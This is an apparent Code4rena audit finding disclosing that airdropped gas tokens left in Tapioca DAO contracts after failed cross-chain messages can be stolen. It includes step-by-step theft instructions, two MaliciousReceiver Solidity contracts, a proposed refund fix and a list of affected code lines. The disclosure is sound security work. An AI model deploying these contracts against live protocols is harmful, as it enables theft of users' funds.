Airdropped tokens can be stolen by a bot

[code423n4]

Lines of code

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOLeverageModule.sol#L227

Vulnerability details

Impact

Most of the packetTypes, when received on the remote chain, are supposed to send a message to another chain.
To send that callback message usually a certain amount of gas is airdropped to a remote chain to execute that message.
If we look at the reception logic for leverageUp the airdropped amount is supposed to be transferred to the address of the TapiocaOFT contract.
This is an issue because if anything reverts here the airdropped amount is left sitting in the USDO contract and can be stolen by a bot.
This is rather a common occurrence through the codebase and usually, in case of a revert the airdropped amount will be left in the USDO, TapOFT, or MagnetarV2 contracts, and in all these places it can be stolen by a bot.
There is a high likelihood of this occurring quite often because it takes (1-5 min. or more) for a Relayer to deliver a message to the remote chain during which the airdropped amount might not be sufficient to execute the callback message, or something else can revert.

Proof of Concept

I have already described the issue in the impact section and here I will describe how a bot can steal the airdropped amount.
The bot can use the same message pathway, e.g. sendForLeverage -> leverageUp to steal all the balance of the USDO contract.

1. The bot calls sendForLeverage function with a very small amount of USDO, e.g. that is his cost of attack.
2. When it is received on the remote chain out of all the parameters to the function he would need to deploy fake contracts which do nothing for
   ISwapper(externalData.swapper).buildSwapData(..), ISwapper(externalData.swapper).swap(...), ITapiocaOFTBase(externalData.tOft).wrap(...).
3. However, for the ITapiocaOFT(externalData.tOft).sendToYBAndBorrow{value: address(this).balance} this would need to be the address of his malicious contract which implements the sendToYBAndBorrow and would just receive the address(this).balance.

contract MaliciousReceiver {

    function sendToYBAndBorrow(
        address _from,
        address _to,
        uint16 lzDstChainId,
        bytes calldata airdropAdapterParams,
        IBorrowParams calldata borrowParams,
        ICommonData.IWithdrawParams calldata withdrawParams,
        ICommonData.ISendOptions calldata options,
        ICommonData.IApproval[] calldata approvals
    ) external payable {
        // do nothing
    }
}

If speed is of importance here the attacker can even pull off a more sophisticated attack which would do the following:

1. First he intentionally sends a transaction that fails in the leverageUp function, and it would fail due to the following mechanism:

contract MaliciousReceiver {

    bool drainGas = false;

    function sendToYBAndBorrow(
        address _from,
        address _to,
        uint16 lzDstChainId,
        bytes calldata airdropAdapterParams,
        IBorrowParams calldata borrowParams,
        ICommonData.IWithdrawParams calldata withdrawParams,
        ICommonData.ISendOptions calldata options,
        ICommonData.IApproval[] calldata approvals
    ) external payable {
            if (!drainGas) revert();
    }

    function setDrainGas(bool _drainGas) external {
        drainGas = _drainGas;
    }

    receive() external payable {}
}

2. Then he goes ahead and calls setDrainGas(true) on the malicious contract. And monitors if any of the user's transactions are failing, and then he can instantly on the same chain just retry his message through retryMessage and steal all the balance.

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

This is a more broad architectural issue of the codebase which I discussed in my analysis review, and it goes back to the fact that airdropped gas tokens do not belong to the user.
An immediate fix would be to in the case of function revert to send the airdropped amount back to the user. This can be inserted in the following [place]:(https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/BaseUSDO.sol#L375-L397)

    function _executeOnDestination(
        Module _module,
        bytes memory _data,
        uint16 _srcChainId,
        bytes memory _srcAddress,
        uint64 _nonce,
        bytes memory _payload
    ) private {
        (bool success, bytes memory returnData) = _executeModule(
            _module,
            _data,
            true
        );
        if (!success) {
            if (address(this).balance != 0) {
                (bool sent, ) = msg.sender.call{value: address(this).balance}("");
                if (!sent) {
                    // emit an event
                }
            }
            _storeFailedMessage(
                _srcChainId,
                _srcAddress,
                _nonce,
                _payload,
                returnData
            );
        }
    }

Other occurrences

Anywhere in the code where address{this}.balance or msg.value is passed to the _lzSend if it fails it will remain in that contract and can be stolen. I haven't set up a case for stealing airdropped balances of TOFT contracts, since there is a more serious attack there which I described in my other issues.

• https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L192-L193 - if execution fails in the MagnetarMarketModule contract it will be left sitting in the TOFT or in the MagnetarV2 contract depending on where it was airdropped.

• https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOMarketModule.sol#L205 - This assumes that the airdropped value is inside the MagnetarV2 contract since there is a withdrawal to other chain option, and if everything fails the airdropped token is left in the MagnetarV2 contract.

• https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOOptionsModule.sol#L127

• https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L229 - This same message pathway can be used to steal any balance of BaseTapOFT contract since try twTap.claimAndSendRewards(tokenID, rewardTokens)doesn't revert if rewardTokens are not valid tokens, e.g. are just some malicious contract.

• https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L312

If the gas tokens remain as the balance of the MagnetarV2 contract the easiest way to steal them is to call withdrawToChain since it can be set up so asset is a malicious contract which just receives value.

Assessed type

Other

[c4-pre-sort]

minhquanym marked the issue as primary issue

[c4-sponsor]

0xRektora marked the issue as sponsor confirmed

[c4-judge]

dmvt marked the issue as selected for report